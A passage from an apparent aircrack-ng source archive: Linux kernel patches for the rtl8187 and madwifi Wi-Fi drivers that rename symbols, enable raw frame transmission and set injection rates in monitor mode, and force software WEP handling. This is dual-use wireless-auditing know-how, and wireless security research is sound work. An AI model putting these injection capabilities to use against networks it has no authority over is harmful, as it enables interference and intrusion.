ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-05-26 10:38:07.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-05-26 10:38:07.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-05-26 10:39:10.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. aircrack-ng-1.2-rc4/patches/old/madwifi-cvs-20050814.patch0000644000000000000000000000714510761053203021265 0ustar rootrootdiff -ur ../madwifi-cvs-20050814/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20050814/ath/if_ath.c 2005-08-08 02:35:12.000000000 +0200 +++ ./ath/if_ath.c 2005-08-14 21:31:07.000000000 +0200 @@ -1435,7 +1435,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1500,6 +1500,13 @@ } } + if (dot11Rate == 0 && ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } + wh = (struct ieee80211_frame *) skb->data; pktlen = skb->len + IEEE80211_CRC_LEN; hdrlen = sizeof(struct ieee80211_frame); diff -ur ../madwifi-cvs-20050814/Makefile.inc ./Makefile.inc --- ../madwifi-cvs-20050814/Makefile.inc 2005-07-14 02:35:49.000000000 +0200 +++ ./Makefile.inc 2005-08-15 10:31:16.000000000 +0200 @@ -174,7 +174,7 @@ # #ATH_RATE=$(shell find ath_rate/ -maxdepth 1 ! -name CVS ! -name ath_rate/ -type d) ifeq ($(ATH_RATE),) -ATH_RATE=ath_rate/sample +ATH_RATE=ath_rate/onoe endif INCS= -include ${obj}/${DEPTH}/include/compat.h -I${obj}/${DEPTH}/include diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_crypto.c ./net80211/ieee80211_crypto.c --- ../madwifi-cvs-20050814/net80211/ieee80211_crypto.c 2005-07-13 02:35:12.000000000 +0200 +++ ./net80211/ieee80211_crypto.c 2005-08-15 13:54:21.000000000 +0200 @@ -299,6 +299,10 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) + flags |= IEEE80211_KEY_SWCRYPT; + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20050814/net80211/ieee80211_var.h 2005-07-16 02:35:11.000000000 +0200 +++ ./net80211/ieee80211_var.h 2005-08-14 21:16:37.000000000 +0200 @@ -207,6 +207,8 @@ struct timer_list ic_radar_reanimate; /* reanimation timer after stopping all channels after redar detection */ u_int32_t ic_channelList[IEEE80211_CHAN_MAX]; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur ../madwifi-cvs-20050814/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20050814/net80211/ieee80211_wireless.c 2005-08-07 02:35:13.000000000 +0200 +++ ./net80211/ieee80211_wireless.c 2005-08-14 21:15:51.000000000 +0200 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.24v3.patch0000644000000000000000000155166111050354367020405 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct 